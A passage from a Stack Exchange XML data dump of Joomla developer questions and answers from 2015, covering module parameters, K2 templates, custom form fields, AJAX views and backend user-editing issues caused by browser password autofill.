LastActivityDate="2015-07-30T19:35:30.767" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11000" PostTypeId="1" AcceptedAnswerId="11001" CreationDate="2015-07-30T20:48:18.137" Score="1" ViewCount="527" Body="&lt;p&gt;I created a custom &lt;em&gt;mod_helloworld&lt;/em&gt; module, according to the instructions in the Joomla 3 documentation. &#xA;I have a &lt;em&gt;&quot;lang&quot;&lt;/em&gt; parameter on the &lt;em&gt;mod_helloworld.xml&lt;/em&gt; config section. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The module is loaded inside an article using &lt;code&gt;{loadmodule mod_helloworld, &quot;mytestmodule&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;mod_helloworld.php&lt;/em&gt; I can't get the &quot;lang&quot; parameter value out using&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$language = $params-&amp;gt;get('lang')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also var_dump($params) and var_dump($module) give pretty empty results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have managed to get the results using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport( 'joomla.application.module.helper' );&#xA;$module = JModuleHelper::getModule( 'mod_helloworld', 'mytestmodule' );&#xA;$params = new JRegistry($module-&amp;gt;params); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, I don't think this should be necessary inside the &quot;current&quot; module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also tried this by duplicating an existing standard joomla module and changing its name. Same effect, although the original works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I load the module somewhere else on a page, like in some template position, it works fine, but not when loaded inside an article. Yet the existing &quot;standard&quot; joomla modules work fine also when loaded inside an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong here?&lt;/p&gt;&#xA;" OwnerUserId="5662" LastEditorUserId="5662" LastEditDate="2015-07-30T21:02:44.487" LastActivityDate="2015-07-31T01:38:31.190" Title="$params and $module stay empty for custom made modules" Tags="|module|custom-module|module-params|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11001" PostTypeId="2" ParentId="11000" CreationDate="2015-07-31T01:38:31.190" Score="1" Body="&lt;p&gt;Create a module and set its position to myposition. myposition can be any value that doesn't conflict with an existing template position. Type in the position myposition and press enter instead of selecting it from the drop-down list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assign the module to All the Menu Items. This will make sure that it always appears, no matter how the visitor got to the article. The module will not show unless you put the command to load the module in an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit the articles where you want this module to appear and insert the text {loadposition myposition} in the article at the place where you want the module.&lt;/p&gt;&#xA;" OwnerUserId="5400" LastActivityDate="2015-07-31T01:38:31.190" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11002" PostTypeId="1" AcceptedAnswerId="11004" CreationDate="2015-07-31T02:04:24.793" Score="1" ViewCount="113" Body="&lt;p&gt;I noticed that the last column &lt;code&gt;state&lt;/code&gt; in the table &lt;code&gt;#__extensions&lt;/code&gt; always has a value &lt;code&gt;0&lt;/code&gt;. Can you tell me what the purpose of this column is?&lt;/p&gt;&#xA;" OwnerUserId="5665" LastActivityDate="2015-07-31T09:04:13.307" Title="Joomla Extensions MySQL state column" Tags="|extensions|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11003" PostTypeId="1" CreationDate="2015-07-31T02:55:43.867" Score="4" ViewCount="115" Body="&lt;p&gt;I tried to include &lt;a href=&quot;https://docs.joomla.org/ModulePosition_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Module Position field&lt;/a&gt; inside a &lt;a href=&quot;https://docs.joomla.org/Repeatable_form_field_type&quot; rel=&quot;nofollow&quot;&gt;Repeatable field&lt;/a&gt;. The module choices modal is showed up but the available module options are not clickable. Is it a joomla bug or I missed something here? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I looked at the browser console I found this error message :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught TypeError: Cannot set property 'value' of nulljSelectPosition_jform_params_position @ index.php?option=com_templates&amp;amp;view=style&amp;amp;layout=edit&amp;amp;id=9:93onclick @ index.php?option=com_modules&amp;amp;view=positions&amp;amp;layout=modal&amp;amp;tmpl=component&amp;amp;function=jSelectPosition_jf…:108&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2015-07-31T03:00:54.877" LastActivityDate="2016-04-01T16:16:45.483" Title="Module Position field is not clickable inside a repeatable field" Tags="|templates|module-params|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11004" PostTypeId="2" ParentId="11002" CreationDate="2015-07-31T09:04:13.307" Score="1" Body="&lt;p&gt;This column is used to determine whether an extension is installed or discovered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following values define the state:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;0&lt;/code&gt; = &lt;em&gt;Installed&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-1&lt;/code&gt; = &lt;em&gt;Discovered&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm not 100% sure if there are any other states. If so, maybe someone else could shed some light.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-31T09:04:13.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11005" PostTypeId="1" CreationDate="2015-07-31T10:55:33.270" Score="0" ViewCount="189" Body="&lt;p&gt;I want to exclude K2 tag pages from being indexed by search engine by adding&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = &amp;amp; JFactory :: getDocument();&#xA;$document-&amp;gt;setMetaData('robots', 'noindex');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to it's controller/view code. For some reason I can't find tag view or controller, from what I can gather it seems like it is merget with some other file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is &lt;code&gt;/components/com_k2/templates/default/tags.php&lt;/code&gt; and &lt;code&gt;/components/com_k2/views/itemlist/tmpl/tag.php&lt;/code&gt; but it doesn't seem like the thing I'm looking for.&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2015-07-31T11:50:32.687" Title="Where is K2 tag search page controller/view located?" Tags="|k2|tags|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11006" PostTypeId="2" ParentId="11005" CreationDate="2015-07-31T11:45:57.033" Score="-1" Body="&lt;p&gt;Try in:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;components/com_k2/templates/default/item.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically,  if you grep the code for the relevant language Field, &lt;strong&gt;K2_TAGGED_UNDER&lt;/strong&gt;, you will see that there is relevant code in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./templates/default/item.php:366:                 &#xA;&amp;lt;span&amp;gt;&amp;lt;?php echo JText::_('K2_TAGGED_UNDER'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;./templates/default/user.php:199:&#xA;&amp;lt;span&amp;gt;&amp;lt;?php echo JText::_('K2_TAGGED_UNDER'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;./templates/default/latest_item.php:104:&#xA;&amp;lt;span&amp;gt;&amp;lt;?php echo JText::_('K2_TAGGED_UNDER'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;./templates/default/category_item.php:193:&#xA;&amp;lt;span&amp;gt;&amp;lt;?php echo JText::_('K2_TAGGED_UNDER'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3595" LastEditorUserId="168" LastEditDate="2015-07-31T11:50:32.687" LastActivityDate="2015-07-31T11:50:32.687" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11008" PostTypeId="2" ParentId="10990" CreationDate="2015-07-31T12:08:00.623" Score="2" Body="&lt;p&gt;You can do it using prepareTable in the model of your component.&#xA;Check this &lt;strong&gt;example&lt;/strong&gt; out where I get an the values of array of checkboxes &quot;categories&quot; and then save them creating a comma separated values variable using implode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of course, you may use json_encode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function prepareTable($table)&#xA;{&#xA;    // Set the publish date to now&#xA;    $db = $this-&amp;gt;getDbo();&#xA;&#xA;    if($table-&amp;gt;id==0)&#xA;    {&#xA;        $table-&amp;gt;created = JFactory::getDate()-&amp;gt;toSql();&#xA;    }&#xA;&#xA;    $table-&amp;gt;modified = JFactory::getDate()-&amp;gt;toSql();&#xA;&#xA;    $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;&#xA;    $categories = $jinput-&amp;gt;get('categories',null,'ARRAY');&#xA;&#xA;    if($categories!=null)&#xA;        $table-&amp;gt;categories = implode(&quot;,&quot;,$categories);&#xA;    else &#xA;        $table-&amp;gt;categories ='';&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3595" LastActivityDate="2015-07-31T12:08:00.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11009" PostTypeId="1" AcceptedAnswerId="11011" CreationDate="2015-07-31T13:33:45.063" Score="1" ViewCount="355" Body="&lt;p&gt;When I try to include Simple Image gallery inside Custom HTML module, i don't get the gallery like in an Article.&#xA;I use this code:&#xA;{gallery}images/gallery/second{/gallery}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An all it gets displayed is this code, but not he gallery content. What am I missing? In  an article the gallery content is shown normally.&lt;/p&gt;&#xA;" OwnerUserId="5324" LastActivityDate="2015-07-31T17:33:29.293" Title="Simple Image Gallery inlucde code in Custom HTML module" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11011" PostTypeId="2" ParentId="11009" CreationDate="2015-07-31T17:07:40.593" Score="1" Body="&lt;p&gt;You need to go into your module that you are pasting the code into, select the options tab and then turn on &quot;prepare content&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qFzpd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qFzpd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5400" LastEditorUserId="5400" LastEditDate="2015-07-31T17:33:29.293" LastActivityDate="2015-07-31T17:33:29.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11012" PostTypeId="2" ParentId="10976" CreationDate="2015-07-31T22:20:25.453" Score="1" Body="&lt;p&gt;It depends on what do you mean a task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can override the files located in the tmpl folder in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Understanding_Output_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3595" LastActivityDate="2015-07-31T22:20:25.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11013" PostTypeId="2" ParentId="10902" CreationDate="2015-07-31T22:36:34.147" Score="2" Body="&lt;p&gt;I had this problem too.&#xA;It was caused by two plugins that were checking the same user details and  were redirecting in a manner that seemed random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would start by thinking and disabling any recently installed or updated plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you cannot do it using the backend, you may use yours site's database, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;table #__extensions&#xA;column enabled&lt;/p&gt;&#xA;" OwnerUserId="3595" LastEditorUserId="126" LastEditDate="2015-08-31T02:31:09.613" LastActivityDate="2015-08-31T02:31:09.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11014" PostTypeId="2" ParentId="10663" CreationDate="2015-07-31T23:28:24.637" Score="2" Body="&lt;p&gt;Generally a good option would be to add custom class to your modules and any content you deem necessary to define break points.&lt;br&gt;&#xA;Like &lt;strong&gt;&quot;col-sm-12 col-md-6 col-lg-4&quot;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(all three of these would go in your custom class together to dictate break points)  or however you decide to dictate your break points, this way you are no longer writing extra media queries or adjusting existing ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;So in this example your element would start mobile full width, then tablet size half width, then large screens 1/3rd width.&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://getbootstrap.com/css/#grid&quot; rel=&quot;nofollow&quot;&gt;See Bootstrap docs for more info&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="5400" LastActivityDate="2015-07-31T23:28:24.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11015" PostTypeId="2" ParentId="10994" CreationDate="2015-07-31T23:49:48.567" Score="3" Body="&lt;p&gt;your supposition that articles in that category are still publicly viewable isn't true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unpublishing a category, makes the articles in that category unavailable for viewing to site visitors/users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even unpublishing a parent category automatically makes the articles in its child categories unavailable for viewing.&lt;/p&gt;&#xA;" OwnerUserId="5632" LastActivityDate="2015-07-31T23:49:48.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11016" PostTypeId="1" CreationDate="2015-08-01T04:54:56.347" Score="2" ViewCount="290" Body="&lt;p&gt;I'm using Jomsocial in my Joomla! website. I have created a module which is assigned to frontpage of the jomsocial menu item which is having &lt;code&gt;Item Id= 109&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that for all menus and links on Jomsocial those does not contain Item ID in their link, &lt;code&gt;Item ID=109&lt;/code&gt; is used automatically for those links. So that module is automatically shown on each such links or pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know how I can change the default Item id for such links inside Jomsocial.&lt;/p&gt;&#xA;" OwnerUserId="5667" LastEditorUserId="1629" LastEditDate="2015-09-02T20:14:43.917" LastActivityDate="2016-03-01T01:03:06.257" Title="How to change Default Item Id used for Jomsocial links and menus in Joomla" Tags="|joomla-3.x|jomsocial|itemid|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11017" PostTypeId="2" ParentId="11016" CreationDate="2015-08-01T07:35:04.280" Score="1" Body="&lt;p&gt;JomSocial creates a menu as part of the installation. Most requirements are solved based on this menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best practice: do not modify this menu and publish menu aliases to this menu instead&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="168" LastEditDate="2015-08-01T16:39:38.957" LastActivityDate="2015-08-01T16:39:38.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11018" PostTypeId="1" AcceptedAnswerId="11020" CreationDate="2015-08-01T09:40:16.480" Score="1" ViewCount="926" Body="&lt;p&gt;I sometimes need to change the settings (i.e the usergroup) of a user via the User Manager in the Joomla backend. Before, I remember I could easily achieve this by changing the fields required and clicking &quot;save&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason (even on a fresh installation of Joomla), whenever I try and do this, I get the following message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;The passwords you entered do not match. Please enter your desired password in the password field and confirm your entry by entering it in the confirm password field.&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can't simply go ahead and reset the password, so how can I update their settings without having to confirm a password that I don't know?&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="126" LastEditDate="2015-08-11T15:35:36.420" LastActivityDate="2015-08-11T15:35:36.420" Title="Can't change user settings in backend as a Super User" Tags="|joomla-3.4|user|browser|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11019" PostTypeId="2" ParentId="11018" CreationDate="2015-08-01T17:58:34.663" Score="4" Body="&lt;p&gt;In my sites, I have always two mental notes to update user profiles:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;My browser remembers passwords. It comes in handy. However, it can fill password fields when it does not have to. In this case, it may be filling the first user password. Just remember to clear it before saving.&lt;/li&gt;&#xA;&lt;li&gt;Akeeba AdminTools is great. So great, that disables user profile backend edition for safety. Sometimes, this feature have to be disabled.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-08-01T17:58:34.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11020" PostTypeId="2" ParentId="11018" CreationDate="2015-08-01T18:59:41.870" Score="2" Body="&lt;p&gt;Make sure there is no new entry in any of the 2 passwords fields of the user tab. Most likely your browser has memorized your own Admin Password and it tries to fill it the fields. &#xA;So pay attention. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the Browser User/Pass saving, and I have come across of this kind of behavior pretty often. &#xA;In the recent versions of Joomla, this bad habit of the browser to try inject my username/password in any password field it finds in Joomla's backend, is driving me nuts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Especially when I have to set a different password for a whole different reason/feature and the browser notices that I have a new password and asks me, if I want to update the one of my Super User account, that is saved in the keychain.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-08-01T18:59:41.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11024" PostTypeId="1" AcceptedAnswerId="11026" CreationDate="2015-08-02T20:03:23.900" Score="2" ViewCount="608" Body="&lt;p&gt;I created a custom field as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JFormFieldPaddyStatus extends JFormFieldList {&#xA;&#xA;  protected $type = 'paddystatus';&#xA;&#xA;  public function getOptions($id='') {&#xA;    $options = array();&#xA;&#xA;    $options[0] = 'Raw';&#xA;    $options[1] = 'Dried';&#xA;    $options[2] = 'Grind';&#xA;    $options[3] = 'Ready';&#xA;&#xA;    return $options;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the database it stores the values as 0, 1 etc... When I show the status I want to show the corresponding names instead of its value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I show the status as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td&amp;gt;&amp;lt;?php echo $row-&amp;gt;status; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-08-03T20:07:04.940" Title="How to get the JformFieldList Value by ID" Tags="|joomla-3.x|jform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11026" PostTypeId="2" ParentId="11024" CreationDate="2015-08-03T06:18:02.827" Score="2" Body="&lt;p&gt;You should create a new instance of your field class and get options. Then &lt;code&gt;echo&lt;/code&gt; status by &lt;code&gt;key&lt;/code&gt; of &lt;code&gt;$options&lt;/code&gt; &lt;code&gt;array&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First 10 lines are needed only if you don't have classes loaded yet.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Import JFormHelper if not exist&#xA;jimport('joomla.form.helper');&#xA;&#xA;// Add your field path&#xA;JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');&#xA;&#xA;// Load JFormFieldPaddyStatus class&#xA;JFormHelper::loadFieldClass('PaddyStatus');&#xA;&#xA;// Classes loaded&#xA;// New instance&#xA;$PaddyStatus = new JFormFieldPaddyStatus();&#xA;&#xA;// Get options&#xA;$options = $PaddyStatus-&amp;gt;getOptions();&#xA;&#xA;// Show status&#xA;&amp;lt;td&amp;gt;&amp;lt;?php echo $options[$row-&amp;gt;status]; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-08-03T20:07:04.940" LastActivityDate="2015-08-03T20:07:04.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11028" PostTypeId="1" AcceptedAnswerId="11040" CreationDate="2015-08-03T09:10:52.000" Score="3" ViewCount="771" Body="&lt;p&gt;I'm developing a Joomla component where I have a treeview in the sidebar with the content of a database table. When clicking a node of this sidebar I want to show the children nodes in the main part of the window as a list (as the windows explorer does). For what I have been reading the best way to do this is an ajax request like explained &lt;a href=&quot;https://joomla.stackexchange.com/questions/146/what-is-the-proper-way-to-make-an-ajax-call-in-component&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I link to the url in each node: &lt;code&gt;href=&quot;index.php?option=com_nautilus&amp;amp;task=datalist&amp;amp;format=raw&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In controller.php I add: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blockquote&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function datalist()&#xA;{   &#xA;    $this-&amp;gt;input-&amp;gt;set('view', 'Datalist');&#xA;&#xA;    parent::display();&#xA;}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I create /views/datalist with the file view.raw.php&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blockquote&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    defined('_JEXEC') or die;&#xA;&#xA;    jimport('joomla.application.component.view');&#xA;&#xA;    class SimilarViewDatalist extends JViewLegacy&#xA;    {&#xA;        function display($tpl = null)&#xA;        {&#xA;            parent::display($tpl);&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and /views/datalist/tmpl with the file default.php&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blockquote&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;?php&#xA;&#xA;           echo &quot;Hello World from /views/datalist/tmpl/default.php&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I get: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An error has occurred.&#xA; 500 View class not found [class, file]: nautilusViewDatalist, C:\xampp\apps\joomla\htdocs\administrator\components\com_nautilus\views\dataList\view.raw.php&lt;/p&gt;&#xA;" OwnerUserId="5508" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-08-04T04:33:14.167" Title="Joomla AJAX request" Tags="|joomla-3.x|ajax|mvc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11029" PostTypeId="1" CreationDate="2015-08-03T09:28:26.847" Score="1" ViewCount="360" Body="&lt;p&gt;i got the following field in my form.xml-definition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field  name=&quot;attachedto&quot; &#xA;        type=&quot;sql&quot;  &#xA;        label=&quot;COM_BESTIA_FIELD_ATTACHEDTO&quot; &#xA;        query=&quot;SELECT id, title FROM #__bestia_items WHERE state = 1&quot; &#xA;        key_field=&quot;id&quot; &#xA;        value_field=&quot;title&quot; &#xA;        multiple=&quot;true&quot;&#xA;        required=&quot;false&quot;&amp;gt;&#xA;&amp;lt;/field&amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I would like to change the &lt;code&gt;state = 1&lt;/code&gt; according to the settings in the configuration of the component. If config says &quot;use state = 0&quot; the query should change from &lt;code&gt;WHERE state = 1&lt;/code&gt; to &lt;code&gt;WHERE state = 0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-08-03T12:34:20.687" Title="Joomla JForm SQL-Field: Get condition from global configuration" Tags="|joomla-3.4|jform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11030" PostTypeId="1" AcceptedAnswerId="11031" CreationDate="2015-08-03T10:59:07.323" Score="0" ViewCount="1922" Body="&lt;p&gt;This is the part of the code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td&amp;gt;&#xA;        &amp;lt;span class=&quot;info_label&quot;&amp;gt;&#xA;        &amp;lt;?php echo JText::_( &quot;JFORMS_FIELD_CREATED_BY_USERNAME&quot; ); ?&amp;gt;&#xA;        &amp;lt;/span&amp;gt;:&amp;lt;br /&amp;gt;&#xA;        &amp;lt;?php echo $this-&amp;gt;item-&amp;gt;created_by; ?&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It obviously return user ID who submitted the form . How can I get username instead? &#xA;Thanks &lt;/p&gt;&#xA;" OwnerUserId="5674" LastEditorUserId="126" LastEditDate="2015-08-21T18:40:23.147" LastActivityDate="2015-08-21T18:40:23.147" Title="How to get User's Username from ID?" Tags="|joomla-api|user|variable|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11031" PostTypeId="2" ParentId="11030" CreationDate="2015-08-03T11:05:31.353" Score="2" Body="&lt;p&gt;I'm not sure if this is for a custom component or a core Joomla component, but to get the author's name, you can simply use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;author; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the component has the option to select an alias for the author, then you should use this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $author = ($this-&amp;gt;item-&amp;gt;created_by_alias) ? $this-&amp;gt;item-&amp;gt;created_by_alias : $this-&amp;gt;item-&amp;gt;author; &#xA;    echo $author;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    echo JFactory::getUser($this-&amp;gt;item-&amp;gt;created_by)-&amp;gt;get('username');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-08-03T11:31:07.837" LastActivityDate="2015-08-03T11:31:07.837" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11032" PostTypeId="1" CreationDate="2015-08-03T11:08:47.557" Score="0" ViewCount="142" Body="&lt;p&gt;I would like to do this in my config.xml of my component:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field  name=&quot;allowedfiletypes&quot; &#xA;            type=&quot;list&quot; &#xA;            multiple=&quot;true&quot;&#xA;            label=&quot;COM_BESTIA_FIELD_ALLOWEDFILETYPES&quot;&#xA;            description=&quot;COM_BESTIA_FIELD_ALLOWEDFILETYPES_DESC&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;png&quot;&amp;gt;PNG&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;jpeg&quot;&amp;gt;JPEG&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;jpg&quot;&amp;gt;JPG&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;gif&quot;&amp;gt;GIF&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;pdf&quot;&amp;gt;PDF&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;zip&quot;&amp;gt;ZIP&amp;lt;/option&amp;gt;                                                &#xA;    &amp;lt;/field&amp;gt;        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the com_config does not save multiple values here. If I do not use &lt;code&gt;multiple=true&lt;/code&gt; it works (but only saves one value as you can see here &lt;a href=&quot;http://d.pr/1fulC&quot; rel=&quot;nofollow&quot;&gt;http://d.pr/1fulC&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Field type &quot;user group&quot; the multiple-tag works without problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing anything wrong here?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-08-03T11:14:57.517" Title="Component's configuration: Save 